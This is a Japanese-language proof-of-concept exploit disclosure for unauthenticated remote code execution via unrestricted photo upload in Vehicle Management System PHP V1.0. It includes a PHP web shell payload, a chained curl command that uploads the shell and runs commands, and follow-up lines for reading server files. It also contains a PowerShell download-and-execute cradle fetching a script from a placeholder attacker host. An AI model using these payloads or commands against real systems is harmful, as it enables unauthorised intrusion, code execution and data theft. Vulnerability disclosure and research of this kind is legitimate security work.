
Vehicle Management System PHP V1.0 における、無制限ファイルアップロードを介した未認証のリモートコード実行の概念実証エクスプロイト。詳細な再現手順、curl の PoC、および PHP ウェブシェルペイロードを含みます。
| フィールド | 詳細 |
|---|---|
| 製品 | Vehicle Management System In PHP |
| ベンダー | code-projects.org |
| バージョン | V1.0 |
| 脆弱性タイプ | 無制限ファイルアップロードによるリモートコード実行 (CWE-434) |
| 影響を受けるファイル | newdriver.php, newvehicle.php |
| パラメータ | photo (POST, multipart/form-data) |
| 認証の必要性 | なし (未認証) |
| CVSSスコア | 10.0 Critical |
| 攻撃ベクトル | Remote / Network |
| 必要な権限 | なし |
| ユーザーの操作 | なし |
code-projects.org の Vehicle Management System In PHP V1.0 は、newdriver.php (および同様に newvehicle.php) における無制限ファイルアップロードを介した、未認証のリモートコード実行に対して脆弱です。
アプリケーションは、newdriver.php に写真アップロードフィールドを含む「新規ドライバー」登録フォームを公開しています。しかし、エンドポイントはセッション検証を一切行いません。そのため、未認証の攻撃者はログインにリダイレクトされることなく直接アクセスできます。さらに、写真アップロードフィールドは、拡張子フィルタリング、MIMEタイプ検証、コンテンツ検査なしに、PHPファイルを含むあらゆるファイルタイプを受け入れます。
攻撃者は以下のことが可能です:
newdriver.php にアクセスする/picture/ ディレクトリに保存されるこれにより、ウェブサーバープロセスの権限で完全なリモートコード実行が可能になります。
未認証のHTTPリクエスト
↓
newdriver.php (セッションチェックなし)
↓
photo フィールドが .php ファイルを受け入れる (ファイルタイプ検証なし)
↓
シェルが /picture/web_shell.php に保存される
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — 任意のOSコマンド実行
セッションがない新しいブラウザ(シークレット/プライベートウィンドウ)を開きます。次のエンドポイントに直接移動します:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
New Driver フォームが認証チェックなしでログインにリダイレクトされずに正常に読み込まれます。
シンプルなPHPコマンド実行ウェブシェルを作成します:
<?php system($_GET['cmd']); ?>
shell.php (または任意の .php ファイル名) として保存します。
ドライバーフォームのフィールドに任意の値を入力し、写真アップロードとしてPHPウェブシェルを選択します:
ドライバー名: test
電話番号: 1234567890
ドライバー入社日: 2026-05-19
国籍ID: test
運転免許番号: test
免許有効期限: 2026-05-30
住所: test
写真: shell.php ← PHPウェブシェルをここにアップロード
Submit Query をクリックします。
アプリケーションは "Registration Completed!" と応答し、PHPシェルが検証なしで受け入れられ保存されたことを確認します。
/picture/ ディレクトリ内のアップロードされたシェルに移動し、cmd パラメータを介してOSコマンドを渡します:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
サーバーがコマンドを実行し、出力を返します:
desktop-g1i9np3\dell
# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
同一の脆弱性が newvehicle.php にも存在します。未認証の攻撃者は「新規車両追加」フォームにアクセスし、車両写真フィールドを介してPHPウェブシェルをアップロードし、同じ方法でRCEを達成できます。
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
両エンドポイントは同じ根本原因を共有しています:セッション検証の欠如とファイルアップロード制限の欠如です。
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php と newvehicle.php の両方が脆弱| ファイル | アップロードフィールド | シェル保存パス |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
独立系セキュリティ研究者